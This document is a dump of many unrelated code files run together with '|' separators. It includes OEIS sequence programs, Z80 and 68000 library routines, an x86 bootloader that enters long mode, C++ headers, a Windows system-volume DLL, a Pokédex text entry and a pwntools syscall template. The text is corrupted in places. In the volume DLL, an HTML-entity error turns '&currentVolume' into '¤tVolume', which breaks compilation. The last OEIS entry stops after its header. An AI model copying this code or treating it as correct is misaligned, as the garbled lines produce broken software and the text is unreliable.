; 1,1,2,2,2,2,3,3,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17
add $0,5
mov $2,$0
mov $3,1
lpb $2
sub $1,2
sub $4,3
lpb $4
sub $1,1
trn $4,$3
lpe
lpb $5
mov $2,3
add $2,$1
sub $5,$0
lpe
mov $1,$2
sub $2,1
add $3,1
add $4,$1
add $5,$0
lpe
sub $1,4
|
;
; z88dk - Spectrum +3 stdio Library
;
; djm 10/4/2000
;
; int rename(char *source, char *dest)
;
; $Id: rename.asm,v 1.6 2017/01/02 21:02:22 aralbrec Exp $
SECTION code_clib
PUBLIC rename
PUBLIC _rename
EXTERN dodos
INCLUDE "p3dos.def"
.rename
._rename
pop bc
pop de ;new filename
pop hl ;old
push hl
push de
push bc
ld iy,DOS_RENAME
call dodos
ld hl,0
ret c ;OK
dec hl
ret
|
; A267991: Number of 2Xn arrays containing n copies of 0..2-1 with row sums and column sums nondecreasing.
; 1,4,5,15,21,57,85,220,341,858,1365,3368,5461,13276,21845,52479,87381,207861,349525,824527,1398101,3274395,5592405,13015081,22369621,51769813,89478485,206045841,357913941,820475513,1431655765,3268499356,5726623061,13025237058,22906492245,51922543076,91625968981,207034128448,366503875925,825713206746,1466015503701,3293865399518,5864062014805,13142007903586,23456248059221,52443095356218,93824992236885,209304385553096,375299968947541,835459642193284,1501199875790165,3335218722352584,6004799503160661
mov $31,$0
mov $33,$0
add $33,1
lpb $33
mov $0,$31
sub $33,1
sub $0,$33
mov $27,$0
mov $29,2
lpb $29
clr $0,27
mov $0,$27
sub $29,1
add $0,$29
lpb $0
mov $1,$0
cal $1,27306 ; a(n) = 2^(n-1) + ((1 + (-1)^n)/4)*binomial(n, n/2).
sub $0,2
add $2,$1
lpe
add $2,1
mul $2,2
mov $1,$2
mov $30,$29
lpb $30
mov $28,$1
sub $30,1
lpe
lpe
lpb $27
mov $27,0
sub $28,$1
lpe
mov $1,$28
div $1,2
add $32,$1
lpe
mov $1,$32
|
; A017464: a(n) = (11*n + 6)^4.
; 1296,83521,614656,2313441,6250000,13845841,26873856,47458321,78074896,121550625,181063936,260144641,362673936,492884401,655360000,855036081,1097199376,1387488001,1731891456,2136750625,2608757776,3154956561,3782742016,4499860561,5314410000,6234839521,7269949696,8428892481,9721171216,11156640625,12745506816,14498327281,16426010896,18539817921,20851360000,23372600161,26115852816,29093783761,32319410176,35806100625,39567575056,43617904801,47971512576,52643172481,57648010000,63001502001,68719476736,74818113841,81313944336,88223850625,95565066496,103355177121,111612119056,120354180241,129600000000,139368569041,149679229456,160551674721,172005949696,184062450625,196741925136,210065472241,224054542336,238730937201,254116810000,270234665281,287107358976,304758098401,323210442256,342488300625,362615934976,383617958161,405519334416,428345379361,452121760000,476874494721,502629953296,529414856881,557256278016,586181640625,616218720016,647395642881,679740887296,713283282721,748052010000,784076601361,821386940416,860013262161,899986152976,941336550625,984095744256,1028295374401,1073967432976,1121144263281,1169858560000,1220143369201,1272032088336,1325558466241,1380756603136,1437660950625,1496306311696,1556727840721,1618961043456,1683041777041,1749006250000,1816891022241,1886733005056,1958569461121,2032438004496,2108376600625,2186423566336,2266617569841,2348997630736,2433603120001,2520473760000,2609649624481,2701171138576,2795079078801,2891414573056,2990219100625,3091534492176,3195402929761,3301866946816,3410969428161,3522753610000,3637263079921,3754541776896,3874633991281,3997584364816,4123437890625,4252239913216,4384036128481,4518872583696,4656795677521,4797852160000,4942089132561,5089554048016,5240294710561,5394359275776,5551796250625,5712654493456,5876983214001,6044831973376,6216250684081,6391289610000,6569999366401,6752430919936,6938635588641,7128665041936,7322571300625,7520406736896,7722224074321,7928076387856,8138017103841,8352100000000,8570379205441,8792909200656,9019744817521,9250941239296,9486554000625,9726638987536,9971252437441,10220450939136,10474291432801,10732831210000,10996127913681,11264239538176,11537224429201,11815141283856,12098049150625,12386007429376,12679075871361,12977314579216,13280784006961,13589544960000,13903658595121,14223186420496,14548190295681,14878732431616,15214875390625,15556682086416,15904215784081,16257540100096,16616719002321,16981816810000,17352898193761,17730028175616,18113272128961,18502695778576,18898365200625,19300346822656,19708707423601,20123514133776,20544834434881,20972736160000,21407287493601,21848556971536,22296613481041,22751526260736,23213364900625,23682199342096,24158099877921,24641137152256,25131382160641,25628906250000,26133781118641,26646078816256,27165871743921,27693232654096,28228234650625,28770951188736,29321456075041,29879823467536,30446127875601,31020444160000,31602847532881,32193413557776,32792218149601,33399337574656,34014848450625,34638827746576,35271352782961,35912501231616,36562351115761,37220980810000,37888469040321,38564894884096,39250337770081,39944877478416,40648594140625,41361568239616,42083880609681,42815612436496,43556845257121,44307660960000,45068141784961,45838370323216,46618429517361,47408402661376,48208373400625,49018425731856,49838644003201,50669112914176,51509917515681,52361143210000,53222875750801,54095201243136,54978206143441,55871977259536,56776601750625
mul $0,11
add $0,6
pow $0,4
mov $1,$0
|
#ifndef BOWLER_STATE_MANAGER_HPP
#define BOWLER_STATE_MANAGER_HPP
//////////////////////////////////////////////////////
// INCLUDES
//////////////////////////////////////////////////////
//////////////////////////////////////////////////////
// FORWARD DECLARATIONS
//////////////////////////////////////////////////////
class BowlerState;
class BowlerInput;
class PhysicsManager;
class BowlerDatabase;
namespace Audio
{
class AudioManager;
}
//////////////////////////////////////////////////////
// CONSTANTS
//////////////////////////////////////////////////////
enum BowlerStateType
{
BOWLER_STATE_TYPE_START,
BOWLER_STATE_TYPE_SELECT,
BOWLER_STATE_TYPE_RUN
};
//////////////////////////////////////////////////////
// CLASSES
//////////////////////////////////////////////////////
class BowlerStateManager
{
public:
BowlerStateManager(
BowlerInput* bowlerInput,
PhysicsManager* physicsManager,
Audio::AudioManager* audioManager,
BowlerDatabase* bowlerDatabase
);
~BowlerStateManager();
void OnMessageCallback( void* userData );
void Update( float elapsedTime );
void RenderUpdate();
BowlerStateType GetBowlerStateType()
{
return mCurrentStateType;
}
private:
void ChangeState( BowlerStateType state );
int mCurrentLevel;
BowlerStateType mCurrentStateType;
BowlerState* mCurrentState;
BowlerInput* mBowlerInput;
PhysicsManager* mPhysicsManager;
Audio::AudioManager* mAudioManager;
BowlerDatabase* mBowlerDatabase;
};
#endif |
* Queue maintenance: test a queue V2.00 Tony Tebby QJUMP
*
section ioq
*
xdef ioq_test
xdef ioq_tstg test if byte ready to get
xref ioq_empty test empty queue for eof
xref ioq_nc set not complete
xref ioq_eof set end of file
*
include dev8_keys_err
include dev8_keys_qu
*
* d0 r error condition (0, eof or not complete)
* d1 r next byte in queue (if d0=0)
* d2 r free_space in queue (long word) (ioq_test only)
* a2 c p pointer to queue
* a3 sp
*
* all other registers preserved
*
*
ioq_test
move.l a3,-(sp) save scratch register
moveq #-qu_strtq-1,d2 find spare
add.l qu_endq(a2),d2 total spare
sub.l a2,d2
*
move.l qu_nexti(a2),d0 next in
move.l qu_nexto(a2),a3 next out
move.b (a3),d1 set next character
*
sub.l a3,d0 number in queue
beq.s ioq_empty ... none
bgt.s iqt_sspr ... there are some, set spare
add.l d2,d0 wrapped around, add total
addq.l #1,d0 ... length including the one missing
iqt_sspr
sub.l d0,d2 set spare
moveq #0,d0 ... done
move.l (sp)+,a3 restore scratch register
rts
*
* just test queue for getting a byte
*
ioq_tstg
move.l a3,-(sp) save scratch register
move.l qu_nexto(a2),a3 next out
cmp.l qu_nexti(a2),a3 any thing there?
beq.s ioq_empty ... no
move.b (a3),d1 set next character
moveq #0,d0 ok
move.l (sp)+,a3 restore scratch register
rts
end
|
db "JAW FISH@" ; species name
db "Rips the seabed up"
next "with its stretched"
next "jaw. Any swallowed"
page "sand and other"
next "minerals add to"
next "its metallic hide.@"
|
; A208331: Triangle of coefficients of polynomials v(n,x) jointly generated with A208330; see the Formula section.
; Submitted by Christian Krause
; 1,1,3,1,6,5,1,9,15,11,1,12,30,44,21,1,15,50,110,105,43,1,18,75,220,315,258,85,1,21,105,385,735,903,595,171,1,24,140,616,1470,2408,2380,1368,341,1,27,180,924,2646,5418,7140,6156,3069,683,1,30,225
lpb $0
add $2,1
sub $0,$2
mov $1,2
lpe
pow $1,$0
mul $1,2
div $1,3
mul $1,2
bin $2,$0
mul $1,$2
mov $0,$1
add $0,$2
|
; A172131: Partial sums of floor(n^2/9) (A056838).
; 0,0,0,1,2,4,8,13,20,29,40,53,69,87,108,133,161,193,229,269,313,362,415,473,537,606,681,762,849,942,1042,1148,1261,1382,1510,1646,1790,1942,2102,2271,2448,2634,2830,3035,3250,3475,3710,3955,4211,4477,4754,5043,5343,5655,5979,6315,6663,7024,7397,7783,8183,8596,9023,9464,9919,10388,10872,11370,11883,12412,12956,13516,14092,14684,15292,15917,16558,17216,17892,18585,19296,20025,20772,21537,22321,23123,23944,24785,25645,26525,27425,28345,29285,30246,31227,32229,33253,34298,35365,36454,37565,38698,39854,41032,42233,43458,44706,45978,47274,48594,49938,51307,52700,54118,55562,57031,58526,60047,61594,63167,64767,66393,68046,69727,71435,73171,74935,76727,78547,80396,82273,84179,86115,88080,90075,92100,94155,96240,98356,100502,102679,104888,107128,109400,111704,114040,116408,118809,121242,123708,126208,128741,131308,133909,136544,139213,141917,144655,147428,150237,153081,155961,158877,161829,164817,167842,170903,174001,177137,180310,183521,186770,190057,193382,196746,200148,203589,207070,210590,214150,217750,221390,225070,228791,232552,236354,240198,244083,248010,251979,255990,260043,264139,268277,272458,276683,280951,285263,289619,294019,298463,302952,307485,312063,316687,321356,326071,330832,335639,340492,345392,350338,355331,360372,365460,370596,375780,381012,386292,391621,396998,402424,407900,413425,419000,424625,430300,436025,441801,447627,453504,459433,465413,471445,477529,483665,489853,496094,502387,508733,515133,521586,528093,534654,541269,547938,554662,561440,568273,575162
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
pow $0,2
div $0,9
add $1,$0
lpe
|
; A141530: a(n) = 4*n^3 - 6*n^2 + 1.
; 1,-1,9,55,161,351,649,1079,1665,2431,3401,4599,6049,7775,9801,12151,14849,17919,21385,25271,29601,34399,39689,45495,51841,58751,66249,74359,83105,92511,102601,113399,124929,137215,150281,164151,178849,194399,210825,228151,246401,265599,285769,306935,329121,352351,376649,402039,428545,456191,485001,514999,546209,578655,612361,647351,683649,721279,760265,800631,842401,885599,930249,976375,1024001,1073151,1123849,1176119,1229985,1285471,1342601,1401399,1461889,1524095,1588041,1653751,1721249
mov $1,$0
mul $0,2
sub $0,3
mul $0,$1
mul $0,$1
mul $0,2
add $0,1
|
#include "pch.h"
#include <windows.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#define DLLExport __declspec(dllexport)
extern "C"
{
enum class VolumeUnit {
Decibel,
Scalar
};
//Gets volume
DLLExport float GetSystemVolume(VolumeUnit vUnit) {
HRESULT hr;
// -------------------------
CoInitialize(NULL);
IMMDeviceEnumerator* deviceEnumerator = NULL;
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_INPROC_SERVER, __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator);
IMMDevice* defaultDevice = NULL;
hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &defaultDevice);
deviceEnumerator->Release();
deviceEnumerator = NULL;
IAudioEndpointVolume* endpointVolume = NULL;
hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume);
defaultDevice->Release();
defaultDevice = NULL;
float currentVolume = 0;
if (vUnit == VolumeUnit::Decibel) {
//Current volume in dB
hr = endpointVolume->GetMasterVolumeLevel(¤tVolume);
}
else if (vUnit == VolumeUnit::Scalar) {
//Current volume as a scalar
hr = endpointVolume->GetMasterVolumeLevelScalar(¤tVolume);
}
endpointVolume->Release();
CoUninitialize();
return currentVolume;
}
//Sets volume
DLLExport void SetSystemVolume(double newVolume, VolumeUnit vUnit) {
HRESULT hr;
// -------------------------
CoInitialize(NULL);
IMMDeviceEnumerator* deviceEnumerator = NULL;
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_INPROC_SERVER, __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator);
IMMDevice* defaultDevice = NULL;
hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &defaultDevice);
deviceEnumerator->Release();
deviceEnumerator = NULL;
IAudioEndpointVolume* endpointVolume = NULL;
hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume);
defaultDevice->Release();
defaultDevice = NULL;
if (vUnit == VolumeUnit::Decibel)
hr = endpointVolume->SetMasterVolumeLevel((float)newVolume, NULL);
else if (vUnit == VolumeUnit::Scalar)
hr = endpointVolume->SetMasterVolumeLevelScalar((float)newVolume, NULL);
endpointVolume->Release();
CoUninitialize();
}
} |
// Solved
#include <iostream>
#include <set>
using namespace std;
int main()
{
int G, P, k;
cin >> G >> P;
set<int> gates;
for (int i = 1; i <= G; i++) gates.insert(-i); // negative so that we get greater than or equal to with lower_bound
for (int i = 0; i < P; i++)
{
cin >> k;
auto it = gates.lower_bound(-k);
if (it == gates.end())
{
cout << i;
return 0;
}
gates.erase(it);
}
cout << P;
return 0;
} |
//
// Created by gtx on 2021/6/15.
//
#ifndef VISUAL_SLAM_GEOMETRY_HPP
#define VISUAL_SLAM_GEOMETRY_HPP
#include <iostream>
#include <string>
#include <opencv2/opencv.hpp>
#include <eigen3/Eigen/Core>
using namespace std;
using namespace cv;
using namespace Eigen;
namespace gtx_slam {
class GeometryUndistorter {
public:
EIGEN_MAKE_ALIGNED_OPERATOR_NEW;
GeometryUndistorter(string &path);
void processFrame(Mat &src, Mat dst);
private:
int w_, h_, w_rect_, h_rect_;
Eigen::Matrix3d K_, K_rect_;
float k1_, k2_, k3_, k4_; // for Equid
float omega_; // for FoV
vector<Vector2f> remap_;
bool crop;
void makeOptimalK_crop();
void initRectifyMap();
void distortCoordinates(vector<Vector2f> &in);
};
}
#endif //VISUAL_SLAM_GEOMETRY_HPP
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x4142434445464748",
"RBX": "0x5152535455565758",
"RCX": "0x0",
"RDI": "0xE0000020",
"RSI": "0xE0000010"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x0
mov [rdx + 8 * 2], rax
mov [rdx + 8 * 3], rax
mov [rdx + 8 * 4], rax
lea rdi, [rdx + 8 * 2]
lea rsi, [rdx + 8 * 0]
cld
mov rcx, 2
rep movsq ; rdi <- rsi
mov rax, [rdx + 8 * 2]
mov rbx, [rdx + 8 * 3]
mov rcx, [rdx + 8 * 4]
hlt
|
org 10000h
jmp Label_Start
%include "fat12.inc" ; 在同文件夹下
BaseOfKernelFile equ 0x00
OffsetOfKernelFile equ 0x100000
BaseTmpOfKernelAddr equ 0x00
OffsetTmpOfKernelFile equ 0x7E00
MemoryStructBufferAddr equ 0x7E00
[SECTION gdt] ; 32位下的GDT表
LABEL_GDT: dd 0,0
LABEL_DESC_CODE32: dd 0x0000FFFF,0x00CF9A00
LABEL_DESC_DATA32: dd 0x0000FFFF,0x00CF9200
GdtLen equ $ - LABEL_GDT
GdtPtr dw GdtLen - 1
dd LABEL_GDT
SelectorCode32 equ LABEL_DESC_CODE32 - LABEL_GDT
SelectorData32 equ LABEL_DESC_DATA32 - LABEL_GDT
[SECTION gdt64]; 64位下的GDT表
LABEL_GDT64: dq 0x0000000000000000
LABEL_DESC_CODE64: dq 0x0020980000000000
LABEL_DESC_DATA64: dq 0x0000920000000000
GdtLen64 equ $ - LABEL_GDT64
GdtPtr64 dw GdtLen64 - 1
dd LABEL_GDT64
SelectorCode64 equ LABEL_DESC_CODE64 - LABEL_GDT64
SelectorData64 equ LABEL_DESC_DATA64 - LABEL_GDT64
[SECTION .s16]
[BITS 16]
Label_Start:
mov ax, cs
mov ds, ax
mov es, ax
mov ax, 0x00
mov ss, ax
mov sp, 0x7c00
;======= 在屏幕上显示 : Start Loader......
mov ax, 1301h
mov bx, 000fh
mov dx, 0200h ;row 2
mov cx, 12
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, StartLoaderMessage
int 10h
;======= 开启A20模式
push ax
in al, 92h
or al, 00000010b
out 92h, al
pop ax
cli
lgdt [GdtPtr]
mov eax, cr0
or eax, 1
mov cr0, eax
mov ax, SelectorData32
mov fs, ax
mov eax, cr0
and al, 11111110b
mov cr0, eax
sti
;======= 重置 软盘
xor ah, ah
xor dl, dl
int 13h
;======= 寻找kernel.bin,和boot中的代码一样
mov word [SectorNo], SectorNumOfRootDirStart
Lable_Search_In_Root_Dir_Begin:
cmp word [RootDirSizeForLoop], 0
jz Label_No_LoaderBin
dec word [RootDirSizeForLoop]
mov ax, 00h
mov es, ax
mov bx, 8000h
mov ax, [SectorNo]
mov cl, 1
call Func_ReadOneSector
mov si, KernelFileName
mov di, 8000h
cld
mov dx, 10h
Label_Search_For_LoaderBin:
cmp dx, 0
jz Label_Goto_Next_Sector_In_Root_Dir
dec dx
mov cx, 11
Label_Cmp_FileName:
cmp cx, 0
jz Label_FileName_Found
dec cx
lodsb
cmp al, byte [es:di]
jz Label_Go_On
jmp Label_Different
Label_Go_On:
inc di
jmp Label_Cmp_FileName
Label_Different:
and di, 0FFE0h
add di, 20h
mov si, KernelFileName
jmp Label_Search_For_LoaderBin
Label_Goto_Next_Sector_In_Root_Dir:
add word [SectorNo], 1
jmp Lable_Search_In_Root_Dir_Begin
;======= 如果没有找到,那么就显示 : ERROR:No KERNEL Found
Label_No_LoaderBin:
mov ax, 1301h
mov bx, 008Ch
mov dx, 0300h ;row 3
mov cx, 21
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, NoLoaderMessage
int 10h
jmp Label_No_LoaderBin
;======= 找到文件后进行的操作
Label_FileName_Found:
mov ax, RootDirSectors
and di, 0FFE0h
add di, 01Ah
mov cx, word [es:di]
push cx
add cx, ax
add cx, SectorBalance
mov eax, BaseTmpOfKernelAddr ;BaseOfKernelFile
mov es, eax
mov bx, OffsetTmpOfKernelFile ;OffsetOfKernelFile
mov ax, cx
Label_Go_On_Loading_File:
push ax
push bx
mov ah, 0Eh
mov al, '.'
mov bl, 0Fh
int 10h
pop bx
pop ax
mov cl, 1
call Func_ReadOneSector
pop ax
;;;;;;;;;;;;;;;;;;;;;;;
push cx
push eax
push fs
push edi
push ds
push esi
mov cx, 200h
mov ax, BaseOfKernelFile
mov fs, ax
mov edi, dword [OffsetOfKernelFileCount]
mov ax, BaseTmpOfKernelAddr
mov ds, ax
mov esi, OffsetTmpOfKernelFile
Label_Mov_Kernel: ;------------------
mov al, byte [ds:esi]
mov byte [fs:edi], al
inc esi
inc edi
loop Label_Mov_Kernel
mov eax, 0x1000
mov ds, eax
mov dword [OffsetOfKernelFileCount], edi
pop esi
pop ds
pop edi
pop fs
pop eax
pop cx
;;;;;;;;;;;;;;;;;;;;;;;
call Func_GetFATEntry
cmp ax, 0FFFh
jz Label_File_Loaded
push ax
mov dx, RootDirSectors
add ax, dx
add ax, SectorBalance
jmp Label_Go_On_Loading_File
Label_File_Loaded:
mov ax, 0B800h
mov gs, ax
mov ah, 0Fh ; 0000: 黑底 1111: 白字
mov al, 'G'
mov [gs:((80 * 0 + 39) * 2)], ax ; 屏幕第 0 行, 第 39 列。
KillMotor:
push dx
mov dx, 03F2h
mov al, 0
out dx, al
pop dx
;======= 获取内存的类型及其对应的地址范围
mov ax, 1301h
mov bx, 000Fh
mov dx, 0400h ;row 4
mov cx, 44
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, StartGetMemStructMessage
int 10h
mov ebx, 0
mov ax, 0x00
mov es, ax
mov di, MemoryStructBufferAddr
Label_Get_Mem_Struct:
mov eax, 0x0E820
mov ecx, 20
mov edx, 0x534D4150
int 15h
jc Label_Get_Mem_Fail
add di, 20
inc dword [MemStructNumber]
cmp ebx, 0
jne Label_Get_Mem_Struct
jmp Label_Get_Mem_OK
Label_Get_Mem_Fail:
mov dword [MemStructNumber], 0
mov ax, 1301h
mov bx, 008Ch
mov dx, 0500h ;row 5
mov cx, 23
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetMemStructErrMessage
int 10h
Label_Get_Mem_OK:
mov ax, 1301h
mov bx, 000Fh
mov dx, 0600h ;row 6
mov cx, 29
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetMemStructOKMessage
int 10h
;======= 获取 SVGA 信息
mov ax, 1301h
mov bx, 000Fh
mov dx, 0800h ;row 8
mov cx, 23
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, StartGetSVGAVBEInfoMessage
int 10h
mov ax, 0x00
mov es, ax
mov di, 0x8000
mov ax, 4F00h
int 10h
cmp ax, 004Fh
jz .KO
;======= Fail
mov ax, 1301h
mov bx, 008Ch
mov dx, 0900h ;row 9
mov cx, 23
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetSVGAVBEInfoErrMessage
int 10h
jmp Label_Get_Mem_OK
.KO:
mov ax, 1301h
mov bx, 000Fh
mov dx, 0A00h ;row 10
mov cx, 29
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetSVGAVBEInfoOKMessage
int 10h
;======= Get SVGA Mode Info
mov ax, 1301h
mov bx, 000Fh
mov dx, 0C00h ;row 12
mov cx, 24
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, StartGetSVGAModeInfoMessage
int 10h
mov ax, 0x00
mov es, ax
mov si, 0x800e
mov esi, dword [es:si]
mov edi, 0x8200
Label_SVGA_Mode_Info_Get:
mov cx, word [es:esi]
;======= 显示 SVGA mode 信息
push ax
mov ax, 00h
mov al, ch
call Label_DispAL
mov ax, 00h
mov al, cl
call Label_DispAL
pop ax
;=======
cmp cx, 0FFFFh
jz Label_SVGA_Mode_Info_Finish
mov ax, 4F01h
int 10h
cmp ax, 004Fh
jnz Label_SVGA_Mode_Info_FAIL
add esi, 2
add edi, 0x100
jmp Label_SVGA_Mode_Info_Get
Label_SVGA_Mode_Info_FAIL:
mov ax, 1301h
mov bx, 008Ch
mov dx, 0D00h ;row 13
mov cx, 24
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetSVGAModeInfoErrMessage
int 10h
Label_SET_SVGA_Mode_VESA_VBE_FAIL:
mov ax, 0x102
jmp Label_SET_SVGA_Mode_VESA_VBE_FAIL
Label_SVGA_Mode_Info_Finish:
mov ax, 1301h
mov bx, 000Fh
mov dx, 0E00h ;row 14
mov cx, 30
push ax
mov ax, ds
mov es, ax
pop ax
mov bp, GetSVGAModeInfoOKMessage
int 10h
;======= 更改 SVGA 模式(VESA VBE)
mov ax, 4F02h
mov bx, 4180h ;========================mode : 0x180 or 0x143
int 10h
cmp ax, 004Fh
jnz Label_SET_SVGA_Mode_VESA_VBE_FAIL
;======= 初始化 IDT GDT 表,从实模式到保护模式
cli ;======close interrupt
lgdt [GdtPtr]
; db 0x66
; lidt [IDT_POINTER]
mov eax, cr0
or eax, 1
mov cr0, eax
jmp dword SelectorCode32:GO_TO_TMP_Protect
[SECTION .s32]
[BITS 32]
GO_TO_TMP_Protect:
;======= 进入长模式
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov ss, ax
mov esp, 7E00h
call support_long_mode
test eax, eax
jz no_support
;======= 初始化页表 0x90000
mov dword [0x90000], 0x91007
mov dword [0x90004], 0x00000
mov dword [0x90800], 0x91007
mov dword [0x90804], 0x00000
mov dword [0x91000], 0x92007
mov dword [0x91004], 0x00000
mov dword [0x92000], 0x000083
mov dword [0x92004], 0x000000
mov dword [0x92008], 0x200083
mov dword [0x9200c], 0x000000
mov dword [0x92010], 0x400083
mov dword [0x92014], 0x000000
mov dword [0x92018], 0x600083
mov dword [0x9201c], 0x000000
mov dword [0x92020], 0x800083
mov dword [0x92024], 0x000000
mov dword [0x92028], 0xa00083
mov dword [0x9202c], 0x000000
;======= 读取 GDTR
lgdt [GdtPtr64]
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov esp, 7E00h
;======= 打开 PAE 标识位
mov eax, cr4
bts eax, 5
mov cr4, eax
;======= load cr3
mov eax, 0x90000
mov cr3, eax
;======= 打开 long-mode
mov ecx, 0C0000080h ;IA32_EFER
rdmsr
bts eax, 8
wrmsr
;======= 打开 PE位
mov eax, cr0
bts eax, 0
bts eax, 31
mov cr0, eax
jmp SelectorCode64:OffsetOfKernelFile
;======= 检测是否支持长模式,函数,被上面调用
support_long_mode:
mov eax, 0x80000000
cpuid
cmp eax, 0x80000001
setnb al
jb support_long_mode_done
mov eax, 0x80000001
cpuid
bt edx, 29
setc al
support_long_mode_done:
movzx eax, al
ret
;======= 如果不支持那就在原地打转
no_support:
mov ax, 0x100
jmp no_support
;======= read one sector from floppy
[SECTION .s16lib]
[BITS 16]
Func_ReadOneSector:
push bp
mov bp, sp
sub esp, 2
mov byte [bp - 2], cl
push bx
mov bl, [BPB_SecPerTrk]
div bl
inc ah
mov cl, ah
mov dh, al
shr al, 1
mov ch, al
and dh, 1
pop bx
mov dl, [BS_DrvNum]
Label_Go_On_Reading:
mov ah, 2
mov al, byte [bp - 2]
int 13h
jc Label_Go_On_Reading
add esp, 2
pop bp
ret
;======= get FAT Entry
Func_GetFATEntry:
push es
push bx
push ax
mov ax, 00
mov es, ax
pop ax
mov byte [Odd], 0
mov bx, 3
mul bx
mov bx, 2
div bx
cmp dx, 0
jz Label_Even
mov byte [Odd], 1
Label_Even:
xor dx, dx
mov bx, [BPB_BytesPerSec]
div bx
push dx
mov bx, 8000h
add ax, SectorNumOfFAT1Start
mov cl, 2
call Func_ReadOneSector
pop dx
add bx, dx
mov ax, [es:bx]
cmp byte [Odd], 1
jnz Label_Even_2
shr ax, 4
Label_Even_2:
and ax, 0FFFh
pop bx
pop es
ret
;======= display num in al
Label_DispAL:
push ecx
push edx
push edi
mov edi, [DisplayPosition]
mov ah, 0Fh
mov dl, al
shr al, 4
mov ecx, 2
.begin:
and al, 0Fh
cmp al, 9
ja .1
add al, '0'
jmp .2
.1:
sub al, 0Ah
add al, 'A'
.2:
mov [gs:edi], ax
add edi, 2
mov al, dl
loop .begin
mov [DisplayPosition], edi
pop edi
pop edx
pop ecx
ret
;======= tmp IDT
IDT:
times 0x50 dq 0
IDT_END:
IDT_POINTER:
dw IDT_END - IDT - 1
dd IDT
;======= tmp variable
MemStructNumber dd 0
SVGAModeCounter dd 0
RootDirSizeForLoop dw RootDirSectors
SectorNo dw 0
Odd db 0
OffsetOfKernelFileCount dd OffsetOfKernelFile
DisplayPosition dd 0
;======= display messages
StartLoaderMessage: db "Start Loader"
NoLoaderMessage: db "ERROR:No KERNEL Found"
KernelFileName: db "KERNEL BIN",0
StartGetMemStructMessage: db "Start Get Memory Struct."
GetMemStructErrMessage: db "Get Memory Struct ERROR"
GetMemStructOKMessage: db "Get Memory Struct SUCCESSFUL!"
StartGetSVGAVBEInfoMessage: db "Start Get SVGA VBE Info"
GetSVGAVBEInfoErrMessage: db "Get SVGA VBE Info ERROR"
GetSVGAVBEInfoOKMessage: db "Get SVGA VBE Info SUCCESSFUL!"
StartGetSVGAModeInfoMessage: db "Start Get SVGA Mode Info"
GetSVGAModeInfoErrMessage: db "Get SVGA Mode Info ERROR"
GetSVGAModeInfoOKMessage: db "Get SVGA Mode Info SUCCESSFUL!" |
; A060784: Number of double tangents of order n.
; 0,4,0,0,28,120,324,700,1320,2268,3640,5544,8100,11440,15708,21060,27664,35700,45360,56848,70380,86184,104500,125580,149688,177100,208104,243000,282100,325728,374220,427924,487200,552420,623968,702240,787644,880600,981540,1090908,1209160,1336764,1474200,1621960,1780548,1950480,2132284,2326500,2533680,2754388,2989200,3238704,3503500,3784200,4081428,4395820,4728024,5078700,5448520,5838168,6248340,6679744,7133100,7609140,8108608,8632260,9180864,9755200,10356060,10984248,11640580,12325884,13041000
mov $1,$0
bin $0,2
sub $0,2
bin $0,2
add $0,$1
sub $0,3
mul $0,4
|
; sp1_DrawUpdateStructIfNotRem(struct sp1_update *u)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_DrawUpdateStructIfNotRem_fastcall
EXTERN asm_sp1_DrawUpdateStructIfNotRem
_sp1_DrawUpdateStructIfNotRem_fastcall:
push ix
call asm_sp1_DrawUpdateStructIfNotRem
push ix
ret
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="addr, length, flags"/>
<%docstring>
Invokes the syscall msync. See 'man 2 msync' for more information.
Arguments:
addr(void): addr
len(size_t): len
flags(int): flags
</%docstring>
${syscall('SYS_msync', addr, length, flags)}
|
; A270869: a(n) = n^5 + 4*n^4 + 13*n^3 + 23*n^2 + 25*n + 3.
